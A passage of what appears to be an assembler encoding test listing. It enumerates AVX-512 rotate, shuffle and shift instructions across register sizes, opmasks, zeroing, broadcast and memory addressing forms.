vprorvq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vprorvq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vprorvq zmm24, zmm24, zmm31
vprorvq zmm24, zmm24, [rbx]
vprorvq zmm24, zmm24, [rbx]{1to8}
vprorvq zmm24, zmm24, [rbx+r11*8+256]
vprorvq zmm24, zmm24, [rbx+r11*8-256]
vprorvq zmm24{k5}, zmm24, zmm31
vprorvq zmm24{k5}, zmm24, [rbx]
vprorvq zmm24{k5}, zmm24, [rbx]{1to8}
vprorvq zmm24{k5}, zmm24, [rbx+r11*8+256]
vprorvq zmm24{k5}, zmm24, [rbx+r11*8-256]
vprorvq zmm24{k5}{z}, zmm24, zmm31
vprorvq zmm24{k5}{z}, zmm24, [rbx]
vprorvq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vprorvq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vprorvq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpshufd xmm2, xmm0, 10
vpshufd xmm2, [rbx], 10
vpshufd xmm2, [rbx]{1to4}, 10
vpshufd xmm2, [rbx+r11*8+256], 10
vpshufd xmm2, [rbx+r11*8-256], 10
vpshufd xmm2{k5}, xmm0, 10
vpshufd xmm2{k5}, [rbx], 10
vpshufd xmm2{k5}, [rbx]{1to4}, 10
vpshufd xmm2{k5}, [rbx+r11*8+256], 10
vpshufd xmm2{k5}, [rbx+r11*8-256], 10
vpshufd xmm2{k5}{z}, xmm0, 10
vpshufd xmm2{k5}{z}, [rbx], 10
vpshufd xmm2{k5}{z}, [rbx]{1to4}, 10
vpshufd xmm2{k5}{z}, [rbx+r11*8+256], 10
vpshufd xmm2{k5}{z}, [rbx+r11*8-256], 10
vpshufd ymm16, ymm15, 10
vpshufd ymm16, [rbx], 10
vpshufd ymm16, [rbx]{1to8}, 10
vpshufd ymm16, [rbx+r11*8+256], 10
vpshufd ymm16, [rbx+r11*8-256], 10
vpshufd ymm16{k5}, ymm15, 10
vpshufd ymm16{k5}, [rbx], 10
vpshufd ymm16{k5}, [rbx]{1to8}, 10
vpshufd ymm16{k5}, [rbx+r11*8+256], 10
vpshufd ymm16{k5}, [rbx+r11*8-256], 10
vpshufd ymm16{k5}{z}, ymm15, 10
vpshufd ymm16{k5}{z}, [rbx], 10
vpshufd ymm16{k5}{z}, [rbx]{1to8}, 10
vpshufd ymm16{k5}{z}, [rbx+r11*8+256], 10
vpshufd ymm16{k5}{z}, [rbx+r11*8-256], 10
vpshufd zmm24, zmm31, 10
vpshufd zmm24, [rbx], 10
vpshufd zmm24, [rbx]{1to16}, 10
vpshufd zmm24, [rbx+r11*8+256], 10
vpshufd zmm24, [rbx+r11*8-256], 10
vpshufd zmm24{k5}, zmm31, 10
vpshufd zmm24{k5}, [rbx], 10
vpshufd zmm24{k5}, [rbx]{1to16}, 10
vpshufd zmm24{k5}, [rbx+r11*8+256], 10
vpshufd zmm24{k5}, [rbx+r11*8-256], 10
vpshufd zmm24{k5}{z}, zmm31, 10
vpshufd zmm24{k5}{z}, [rbx], 10
vpshufd zmm24{k5}{z}, [rbx]{1to16}, 10
vpshufd zmm24{k5}{z}, [rbx+r11*8+256], 10
vpshufd zmm24{k5}{z}, [rbx+r11*8-256], 10
vpslld xmm7, xmm0, 10
vpslld xmm7, [rbx], 10
vpslld xmm7, [rbx]{1to4}, 10
vpslld xmm7, [rbx+r11*8+256], 10
vpslld xmm7, [rbx+r11*8-256], 10
vpslld ymm13, ymm15, 10
vpslld ymm13, [rbx], 10
vpslld ymm13, [rbx]{1to8}, 10
vpslld ymm13, [rbx+r11*8+256], 10
vpslld ymm13, [rbx+r11*8-256], 10
vpslld zmm24, zmm31, 10
vpslld zmm24, [rbx], 10
vpslld zmm24, [rbx]{1to16}, 10
vpslld zmm24, [rbx+r11*8+256], 10
vpslld zmm24, [rbx+r11*8-256], 10
vpslld xmm2, xmm7, xmm0
vpslld xmm2, xmm7, [rbx]
vpslld xmm2, xmm7, [rbx+r11*8+256]
vpslld xmm2, xmm7, [rbx+r11*8-256]
vpslld xmm2{k5}, xmm7, xmm0
vpslld xmm2{k5}, xmm7, [rbx]
vpslld xmm2{k5}, xmm7, [rbx+r11*8+256]
vpslld xmm2{k5}, xmm7, [rbx+r11*8-256]
vpslld xmm2{k5}{z}, xmm7, xmm0
vpslld xmm2{k5}{z}, xmm7, [rbx]
vpslld xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpslld xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpslld ymm16, ymm13, xmm0
vpslld ymm16, ymm13, [rbx]
vpslld ymm16, ymm13, [rbx+r11*8+256]
vpslld ymm16, ymm13, [rbx+r11*8-256]
vpslld ymm16{k5}, ymm13, xmm0
vpslld ymm16{k5}, ymm13, [rbx]
vpslld ymm16{k5}, ymm13, [rbx+r11*8+256]
vpslld ymm16{k5}, ymm13, [rbx+r11*8-256]
vpslld ymm16{k5}{z}, ymm13, xmm0
vpslld ymm16{k5}{z}, ymm13, [rbx]
vpslld ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpslld ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpslld zmm24, zmm24, xmm0
vpslld zmm24, zmm24, [rbx]
vpslld zmm24, zmm24, [rbx+r11*8+256]
vpslld zmm24, zmm24, [rbx+r11*8-256]
vpslld zmm24{k5}, zmm24, xmm0
vpslld zmm24{k5}, zmm24, [rbx]
vpslld zmm24{k5}, zmm24, [rbx+r11*8+256]
vpslld zmm24{k5}, zmm24, [rbx+r11*8-256]
vpslld zmm24{k5}{z}, zmm24, xmm0
vpslld zmm24{k5}{z}, zmm24, [rbx]
vpslld zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpslld zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsllq xmm7, xmm0, 10
vpsllq xmm7, [rbx], 10
vpsllq xmm7, [rbx]{1to2}, 10
vpsllq xmm7, [rbx+r11*8+256], 10
vpsllq xmm7, [rbx+r11*8-256], 10
vpsllq ymm13, ymm15, 10
vpsllq ymm13, [rbx], 10
vpsllq ymm13, [rbx]{1to4}, 10
vpsllq ymm13, [rbx+r11*8+256], 10
vpsllq ymm13, [rbx+r11*8-256], 10
vpsllq zmm24, zmm31, 10
vpsllq zmm24, [rbx], 10
vpsllq zmm24, [rbx]{1to8}, 10
vpsllq zmm24, [rbx+r11*8+256], 10
vpsllq zmm24, [rbx+r11*8-256], 10
vpsllq xmm2, xmm7, xmm0
vpsllq xmm2, xmm7, [rbx]
vpsllq xmm2, xmm7, [rbx+r11*8+256]
vpsllq xmm2, xmm7, [rbx+r11*8-256]
vpsllq xmm2{k5}, xmm7, xmm0
vpsllq xmm2{k5}, xmm7, [rbx]
vpsllq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsllq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsllq xmm2{k5}{z}, xmm7, xmm0
vpsllq xmm2{k5}{z}, xmm7, [rbx]
vpsllq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsllq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsllq ymm16, ymm13, xmm0
vpsllq ymm16, ymm13, [rbx]
vpsllq ymm16, ymm13, [rbx+r11*8+256]
vpsllq ymm16, ymm13, [rbx+r11*8-256]
vpsllq ymm16{k5}, ymm13, xmm0
vpsllq ymm16{k5}, ymm13, [rbx]
vpsllq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsllq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsllq ymm16{k5}{z}, ymm13, xmm0
vpsllq ymm16{k5}{z}, ymm13, [rbx]
vpsllq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsllq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsllq zmm24, zmm24, xmm0
vpsllq zmm24, zmm24, [rbx]
vpsllq zmm24, zmm24, [rbx+r11*8+256]
vpsllq zmm24, zmm24, [rbx+r11*8-256]
vpsllq zmm24{k5}, zmm24, xmm0
vpsllq zmm24{k5}, zmm24, [rbx]
vpsllq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsllq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsllq zmm24{k5}{z}, zmm24, xmm0
vpsllq zmm24{k5}{z}, zmm24, [rbx]
vpsllq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsllq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsllvd xmm2, xmm7, xmm0
vpsllvd xmm2, xmm7, [rbx]
vpsllvd xmm2, xmm7, [rbx]{1to4}
vpsllvd xmm2, xmm7, [rbx+r11*8+256]
vpsllvd xmm2, xmm7, [rbx+r11*8-256]
vpsllvd xmm2{k5}, xmm7, xmm0
vpsllvd xmm2{k5}, xmm7, [rbx]
vpsllvd xmm2{k5}, xmm7, [rbx]{1to4}
vpsllvd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsllvd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsllvd xmm2{k5}{z}, xmm7, xmm0
vpsllvd xmm2{k5}{z}, xmm7, [rbx]
vpsllvd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpsllvd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsllvd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsllvd ymm16, ymm13, ymm15
vpsllvd ymm16, ymm13, [rbx]
vpsllvd ymm16, ymm13, [rbx]{1to8}
vpsllvd ymm16, ymm13, [rbx+r11*8+256]
vpsllvd ymm16, ymm13, [rbx+r11*8-256]
vpsllvd ymm16{k5}, ymm13, ymm15
vpsllvd ymm16{k5}, ymm13, [rbx]
vpsllvd ymm16{k5}, ymm13, [rbx]{1to8}
vpsllvd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsllvd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsllvd ymm16{k5}{z}, ymm13, ymm15
vpsllvd ymm16{k5}{z}, ymm13, [rbx]
vpsllvd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpsllvd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsllvd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsllvd zmm24, zmm24, zmm31
vpsllvd zmm24, zmm24, [rbx]
vpsllvd zmm24, zmm24, [rbx]{1to16}
vpsllvd zmm24, zmm24, [rbx+r11*8+256]
vpsllvd zmm24, zmm24, [rbx+r11*8-256]
vpsllvd zmm24{k5}, zmm24, zmm31
vpsllvd zmm24{k5}, zmm24, [rbx]
vpsllvd zmm24{k5}, zmm24, [rbx]{1to16}
vpsllvd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsllvd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsllvd zmm24{k5}{z}, zmm24, zmm31
vpsllvd zmm24{k5}{z}, zmm24, [rbx]
vpsllvd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpsllvd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsllvd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsllvq xmm2, xmm7, xmm0
vpsllvq xmm2, xmm7, [rbx]
vpsllvq xmm2, xmm7, [rbx]{1to2}
vpsllvq xmm2, xmm7, [rbx+r11*8+256]
vpsllvq xmm2, xmm7, [rbx+r11*8-256]
vpsllvq xmm2{k5}, xmm7, xmm0
vpsllvq xmm2{k5}, xmm7, [rbx]
vpsllvq xmm2{k5}, xmm7, [rbx]{1to2}
vpsllvq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsllvq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsllvq xmm2{k5}{z}, xmm7, xmm0
vpsllvq xmm2{k5}{z}, xmm7, [rbx]
vpsllvq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpsllvq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsllvq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsllvq ymm16, ymm13, ymm15
vpsllvq ymm16, ymm13, [rbx]
vpsllvq ymm16, ymm13, [rbx]{1to4}
vpsllvq ymm16, ymm13, [rbx+r11*8+256]
vpsllvq ymm16, ymm13, [rbx+r11*8-256]
vpsllvq ymm16{k5}, ymm13, ymm15
vpsllvq ymm16{k5}, ymm13, [rbx]
vpsllvq ymm16{k5}, ymm13, [rbx]{1to4}
vpsllvq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsllvq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsllvq ymm16{k5}{z}, ymm13, ymm15
vpsllvq ymm16{k5}{z}, ymm13, [rbx]
vpsllvq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpsllvq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsllvq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsllvq zmm24, zmm24, zmm31
vpsllvq zmm24, zmm24, [rbx]
vpsllvq zmm24, zmm24, [rbx]{1to8}
vpsllvq zmm24, zmm24, [rbx+r11*8+256]
vpsllvq zmm24, zmm24, [rbx+r11*8-256]
vpsllvq zmm24{k5}, zmm24, zmm31
vpsllvq zmm24{k5}, zmm24, [rbx]
vpsllvq zmm24{k5}, zmm24, [rbx]{1to8}
vpsllvq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsllvq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsllvq zmm24{k5}{z}, zmm24, zmm31
vpsllvq zmm24{k5}{z}, zmm24, [rbx]
vpsllvq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpsllvq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsllvq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsrad xmm7, xmm0, 10
vpsrad xmm7, [rbx], 10
vpsrad xmm7, [rbx]{1to4}, 10
vpsrad xmm7, [rbx+r11*8+256], 10
vpsrad xmm7, [rbx+r11*8-256], 10
vpsrad ymm13, ymm15, 10
vpsrad ymm13, [rbx], 10
vpsrad ymm13, [rbx]{1to8}, 10
vpsrad ymm13, [rbx+r11*8+256], 10
vpsrad ymm13, [rbx+r11*8-256], 10
vpsrad zmm24, zmm31, 10
vpsrad zmm24, [rbx], 10
vpsrad zmm24, [rbx]{1to16}, 10
vpsrad zmm24, [rbx+r11*8+256], 10
vpsrad zmm24, [rbx+r11*8-256], 10
vpsrad xmm2, xmm7, xmm0
vpsrad xmm2, xmm7, [rbx]
vpsrad xmm2, xmm7, [rbx+r11*8+256]
vpsrad xmm2, xmm7, [rbx+r11*8-256]
vpsrad xmm2{k5}, xmm7, xmm0
vpsrad xmm2{k5}, xmm7, [rbx]
vpsrad xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsrad xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsrad xmm2{k5}{z}, xmm7, xmm0
vpsrad xmm2{k5}{z}, xmm7, [rbx]
vpsrad xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsrad xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsrad ymm16, ymm13, xmm0
vpsrad ymm16, ymm13, [rbx]
vpsrad ymm16, ymm13, [rbx+r11*8+256]
vpsrad ymm16, ymm13, [rbx+r11*8-256]
vpsrad ymm16{k5}, ymm13, xmm0
vpsrad ymm16{k5}, ymm13, [rbx]
vpsrad ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsrad ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsrad ymm16{k5}{z}, ymm13, xmm0
vpsrad ymm16{k5}{z}, ymm13, [rbx]
vpsrad ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsrad ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsrad zmm24, zmm24, xmm0
vpsrad zmm24, zmm24, [rbx]
vpsrad zmm24, zmm24, [rbx+r11*8+256]
vpsrad zmm24, zmm24, [rbx+r11*8-256]
vpsrad zmm24{k5}, zmm24, xmm0
vpsrad zmm24{k5}, zmm24, [rbx]
vpsrad zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsrad zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsrad zmm24{k5}{z}, zmm24, xmm0
vpsrad zmm24{k5}{z}, zmm24, [rbx]
vpsrad zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsrad zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsraq xmm7, xmm0, 10
vpsraq xmm7, [rbx], 10
vpsraq xmm7, [rbx]{1to2}, 10
vpsraq xmm7, [rbx+r11*8+256], 10
vpsraq xmm7, [rbx+r11*8-256], 10
vpsraq ymm13, ymm15, 10
vpsraq ymm13, [rbx], 10
vpsraq ymm13, [rbx]{1to4}, 10
vpsraq ymm13, [rbx+r11*8+256], 10
vpsraq ymm13, [rbx+r11*8-256], 10
vpsraq zmm24, zmm31, 10
vpsraq zmm24, [rbx], 10
vpsraq zmm24, [rbx]{1to8}, 10
vpsraq zmm24, [rbx+r11*8+256], 10
vpsraq zmm24, [rbx+r11*8-256], 10
vpsraq xmm2, xmm7, xmm0
vpsraq xmm2, xmm7, [rbx]
vpsraq xmm2, xmm7, [rbx+r11*8+256]
vpsraq xmm2, xmm7, [rbx+r11*8-256]
vpsraq xmm2{k5}, xmm7, xmm0
vpsraq xmm2{k5}, xmm7, [rbx]
vpsraq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsraq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsraq xmm2{k5}{z}, xmm7, xmm0
vpsraq xmm2{k5}{z}, xmm7, [rbx]
vpsraq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsraq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsraq ymm16, ymm13, xmm0
vpsraq ymm16, ymm13, [rbx]
vpsraq ymm16, ymm13, [rbx+r11*8+256]
vpsraq ymm16, ymm13, [rbx+r11*8-256]
vpsraq ymm16{k5}, ymm13, xmm0
vpsraq ymm16{k5}, ymm13, [rbx]
vpsraq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsraq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsraq ymm16{k5}{z}, ymm13, xmm0
vpsraq ymm16{k5}{z}, ymm13, [rbx]
vpsraq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsraq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsraq zmm24, zmm24, xmm0
vpsraq zmm24, zmm24, [rbx]
vpsraq zmm24, zmm24, [rbx+r11*8+256]
vpsraq zmm24, zmm24, [rbx+r11*8-256]
vpsraq zmm24{k5}, zmm24, xmm0
vpsraq zmm24{k5}, zmm24, [rbx]
vpsraq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsraq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsraq zmm24{k5}{z}, zmm24, xmm0
vpsraq zmm24{k5}{z}, zmm24, [rbx]
vpsraq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsraq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsravd xmm2, xmm7, xmm0
vpsravd xmm2, xmm7, [rbx]
vpsravd xmm2, xmm7, [rbx]{1to4}
vpsravd xmm2, xmm7, [rbx+r11*8+256]
vpsravd xmm2, xmm7, [rbx+r11*8-256]
vpsravd xmm2{k5}, xmm7, xmm0
vpsravd xmm2{k5}, xmm7, [rbx]
vpsravd xmm2{k5}, xmm7, [rbx]{1to4}
vpsravd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsravd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsravd xmm2{k5}{z}, xmm7, xmm0
vpsravd xmm2{k5}{z}, xmm7, [rbx]
vpsravd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpsravd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsravd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsravd ymm16, ymm13, ymm15
vpsravd ymm16, ymm13, [rbx]
vpsravd ymm16, ymm13, [rbx]{1to8}
vpsravd ymm16, ymm13, [rbx+r11*8+256]
vpsravd ymm16, ymm13, [rbx+r11*8-256]
vpsravd ymm16{k5}, ymm13, ymm15
vpsravd ymm16{k5}, ymm13, [rbx]
vpsravd ymm16{k5}, ymm13, [rbx]{1to8}
vpsravd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsravd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsravd ymm16{k5}{z}, ymm13, ymm15
vpsravd ymm16{k5}{z}, ymm13, [rbx]
vpsravd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpsravd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsravd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsravd zmm24, zmm24, zmm31
vpsravd zmm24, zmm24, [rbx]
vpsravd zmm24, zmm24, [rbx]{1to16}
vpsravd zmm24, zmm24, [rbx+r11*8+256]
vpsravd zmm24, zmm24, [rbx+r11*8-256]
vpsravd zmm24{k5}, zmm24, zmm31
vpsravd zmm24{k5}, zmm24, [rbx]
vpsravd zmm24{k5}, zmm24, [rbx]{1to16}
vpsravd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsravd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsravd zmm24{k5}{z}, zmm24, zmm31
vpsravd zmm24{k5}{z}, zmm24, [rbx]
vpsravd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpsravd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsravd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsravq xmm2, xmm7, xmm0
vpsravq xmm2, xmm7, [rbx]
vpsravq xmm2, xmm7, [rbx]{1to2}
vpsravq xmm2, xmm7, [rbx+r11*8+256]
vpsravq xmm2, xmm7, [rbx+r11*8-256]
vpsravq xmm2{k5}, xmm7, xmm0
vpsravq xmm2{k5}, xmm7, [rbx]
vpsravq xmm2{k5}, xmm7, [rbx]{1to2}
vpsravq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsravq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsravq xmm2{k5}{z}, xmm7, xmm0
vpsravq xmm2{k5}{z}, xmm7, [rbx]
vpsravq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpsravq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsravq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsravq ymm16, ymm13, ymm15
vpsravq ymm16, ymm13, [rbx]
vpsravq ymm16, ymm13, [rbx]{1to4}
vpsravq ymm16, ymm13, [rbx+r11*8+256]
vpsravq ymm16, ymm13, [rbx+r11*8-256]
vpsravq ymm16{k5}, ymm13, ymm15
vpsravq ymm16{k5}, ymm13, [rbx]
vpsravq ymm16{k5}, ymm13, [rbx]{1to4}
vpsravq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsravq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsravq ymm16{k5}{z}, ymm13, ymm15
vpsravq ymm16{k5}{z}, ymm13, [rbx]
vpsravq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpsravq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsravq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsravq zmm24, zmm24, zmm31
vpsravq zmm24, zmm24, [rbx]
vpsravq zmm24, zmm24, [rbx]{1to8}
vpsravq zmm24, zmm24, [rbx+r11*8+256]
vpsravq zmm24, zmm24, [rbx+r11*8-256]
vpsravq zmm24{k5}, zmm24, zmm31
vpsravq zmm24{k5}, zmm24, [rbx]
vpsravq zmm24{k5}, zmm24, [rbx]{1to8}
vpsravq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsravq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsravq zmm24{k5}{z}, zmm24, zmm31
vpsravq zmm24{k5}{z}, zmm24, [rbx]
vpsravq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpsravq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsravq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsrld xmm7, xmm0, 10
vpsrld xmm7, [rbx], 10
vpsrld xmm7, [rbx]{1to4}, 10
vpsrld xmm7, [rbx+r11*8+256], 10
vpsrld xmm7, [rbx+r11*8-256], 10
vpsrld ymm13, ymm15, 10
vpsrld ymm13, [rbx], 10
vpsrld ymm13, [rbx]{1to8}, 10
vpsrld ymm13, [rbx+r11*8+256], 10
vpsrld ymm13, [rbx+r11*8-256], 10
vpsrld zmm24, zmm31, 10
vpsrld zmm24, [rbx], 10
vpsrld zmm24, [rbx]{1to16}, 10
vpsrld zmm24, [rbx+r11*8+256], 10
vpsrld zmm24, [rbx+r11*8-256], 10
vpsrld xmm2, xmm7, xmm0
vpsrld xmm2, xmm7, [rbx]
vpsrld xmm2, xmm7, [rbx+r11*8+256]
vpsrld xmm2, xmm7, [rbx+r11*8-256]
vpsrld xmm2{k5}, xmm7, xmm0
vpsrld xmm2{k5}, xmm7, [rbx]
vpsrld xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsrld xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsrld xmm2{k5}{z}, xmm7, xmm0
vpsrld xmm2{k5}{z}, xmm7, [rbx]
vpsrld xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsrld xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsrld ymm16, ymm13, xmm0
vpsrld ymm16, ymm13, [rbx]
vpsrld ymm16, ymm13, [rbx+r11*8+256]
vpsrld ymm16, ymm13, [rbx+r11*8-256]
vpsrld ymm16{k5}, ymm13, xmm0
vpsrld ymm16{k5}, ymm13, [rbx]
vpsrld ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsrld ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsrld ymm16{k5}{z}, ymm13, xmm0
vpsrld ymm16{k5}{z}, ymm13, [rbx]
vpsrld ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsrld ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsrld zmm24, zmm24, xmm0
vpsrld zmm24, zmm24, [rbx]
vpsrld zmm24, zmm24, [rbx+r11*8+256]
vpsrld zmm24, zmm24, [rbx+r11*8-256]
vpsrld zmm24{k5}, zmm24, xmm0
vpsrld zmm24{k5}, zmm24, [rbx]
vpsrld zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsrld zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsrld zmm24{k5}{z}, zmm24, xmm0
vpsrld zmm24{k5}{z}, zmm24, [rbx]
vpsrld zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsrld zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsrlq xmm7, xmm0, 10
vpsrlq xmm7, [rbx], 10
vpsrlq xmm7, [rbx]{1to2}, 10
vpsrlq xmm7, [rbx+r11*8+256], 10
vpsrlq xmm7, [rbx+r11*8-256], 10
vpsrlq ymm13, ymm15, 10
vpsrlq ymm13, [rbx], 10
vpsrlq ymm13, [rbx]{1to4}, 10
vpsrlq ymm13, [rbx+r11*8+256], 10
vpsrlq ymm13, [rbx+r11*8-256], 10
vpsrlq zmm24, zmm31, 10
vpsrlq zmm24, [rbx], 10
vpsrlq zmm24, [rbx]{1to8}, 10
vpsrlq zmm24, [rbx+r11*8+256], 10
vpsrlq zmm24, [rbx+r11*8-256], 10
vpsrlq xmm2, xmm7, xmm0
vpsrlq xmm2, xmm7, [rbx]
vpsrlq xmm2, xmm7, [rbx+r11*8+256]
vpsrlq xmm2, xmm7, [rbx+r11*8-256]
vpsrlq xmm2{k5}, xmm7, xmm0
vpsrlq xmm2{k5}, xmm7, [rbx]
vpsrlq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpsrlq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpsrlq xmm2{k5}{z}, xmm7, xmm0
vpsrlq xmm2{k5}{z}, xmm7, [rbx]
vpsrlq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpsrlq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpsrlq ymm16, ymm13, xmm0
vpsrlq ymm16, ymm13, [rbx]
vpsrlq ymm16, ymm13, [rbx+r11*8+256]
vpsrlq ymm16, ymm13, [rbx+r11*8-256]
vpsrlq ymm16{k5}, ymm13, xmm0
vpsrlq ymm16{k5}, ymm13, [rbx]
vpsrlq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpsrlq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpsrlq ymm16{k5}{z}, ymm13, xmm0
vpsrlq ymm16{k5}{z}, ymm13, [rbx]
vpsrlq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpsrlq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpsrlq zmm24, zmm24, xmm0
vpsrlq zmm24, zmm24, [rbx]
vpsrlq zmm24, zmm24, [rbx+r11*8+256]
vpsrlq zmm24, zmm24, [rbx+r11*8-256]
vpsrlq zmm24{k5}, zmm24, xmm0
vpsrlq zmm24{k5}, zmm24, [rbx]
vpsrlq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpsrlq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpsrlq zmm24{k5}{z}, zmm24, xmm0
vpsrlq zmm24{k5}{z}, zmm24, [rbx]
vpsrlq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpsrlq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpsrlvd xmm2, xmm7, xmm0
vpsrlvd xmm2, xmm7, [rbx]
vpsrlvd xmm2, xmm7, [rbx]{1to4}
vpsrlvd xmm2, xmm7, [rbx+r11*8+256]
vpsrlvd xmm2, xmm7, [rbx+r11*8-256]
vpsrlvd xmm2{k5}, xmm7, xmm0
